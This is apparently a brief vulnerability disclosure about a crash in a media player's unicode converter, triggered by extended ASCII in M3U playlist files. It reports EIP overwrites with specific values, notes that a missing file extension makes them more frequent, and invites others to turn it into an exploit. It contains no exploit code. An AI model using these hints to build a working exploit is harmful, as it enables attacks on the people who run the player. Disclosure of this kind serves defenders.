The problem seems to originate in the unicode coverter which kicks into
effect when extended ascii is present in a M3U file. It can even cause
a huge spike in CPU Resources, a few times mine flatlined at 99% after exploit
and required a system reboot.

I don't have the time to try to turn this into an exploit, but i've seen
it overwrite EIP with some values - the string is getting converted to unicode
prior to the error. And sometimes EIP gets randomly overwritten with values,
and sometimes the application just crashes.

For me using this exploit EIP gets overwritten with 0x35382534 = "58%4"
sometimes its 0x3f3f3f3f and sometimes its 0xfffffff3.

I noticed removing a file extension from the exploit causes EIP to get
overwriten
more frequently.

Im sure someone will turn this into an exploit, just credit me with my name and
email address in the exploit, I'll be more than happy.

Happy Hunting and Happy Holidays to everyone
